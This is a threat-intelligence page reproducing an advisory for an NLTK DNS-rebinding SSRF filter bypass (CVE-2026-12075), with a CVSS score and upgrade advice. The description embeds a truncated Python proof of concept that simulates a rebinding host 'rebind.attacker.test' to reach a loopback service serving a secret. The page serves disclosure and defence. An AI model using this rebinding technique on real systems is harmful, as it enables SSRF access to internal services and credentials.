Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode (CVE-2026-12075)

0
High
Published: 07/31/2026 (07/31/2026, 16:51:29 UTC)
Source: GCVE Database
Product: nltk

Description

### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fe

CVSS v3.1

Score 8.6high

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Affected software

PyPIghsa
nltk
Affected versions
<3.10.0

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/31/2026, 19:48:40 UTC

Technical Analysis

NLTK's pathsec module implements an SSRF filter that blocks requests to loopback, private, link-local, and multicast IP ranges by validating the resolved IP address of a hostname before connection. However, the validation function resolves the hostname once and caches the result, while the actual HTTP connection performs a separate DNS resolution independently. An attacker controlling DNS can exploit this by returning a public IP for the validation lookup and a private or loopback IP for the connection lookup, effectively bypassing the filter. This DNS rebinding attack defeats the ENFORCE mode designed to prevent SSRF attacks, allowing unauthorized access to internal services via the vulnerable urlopen function used by nltk.download and nltk.data.load.

Potential Impact

An attacker able to control DNS responses for a hostname can bypass NLTK's SSRF protections and cause the application to connect to internal or loopback network resources that should be inaccessible. This can lead to unauthorized disclosure of sensitive internal data or metadata services. The vulnerability does not impact integrity or availability but allows high-severity confidentiality breaches.

Mitigation Recommendations

A patch is available for this vulnerability. Users should upgrade to a fixed version of NLTK (versions 3.10.0 and later) where the DNS rebinding issue in nltk.pathsec.urlopen is resolved. Until patched, relying on ENFORCE mode alone is insufficient to prevent SSRF attacks via DNS rebinding. Review vendor advisories for the official fix and apply updates promptly.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-qvv7-cg9c-w4x3
Osv Schema Version
1.4.0
Aliases
["CVE-2026-12075"]
Ecosystems
["PyPI"]
Database Specific Severity
HIGH
Cvss Version
3.1

Threat ID: 6a6cf7f1bf32cb7a342b3ece

Added to database: 07/31/2026, 19:30:57 UTC

Last enriched: 07/31/2026, 19:48:40 UTC

Last updated: 07/31/2026, 21:42:11 UTC

Views: 2

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses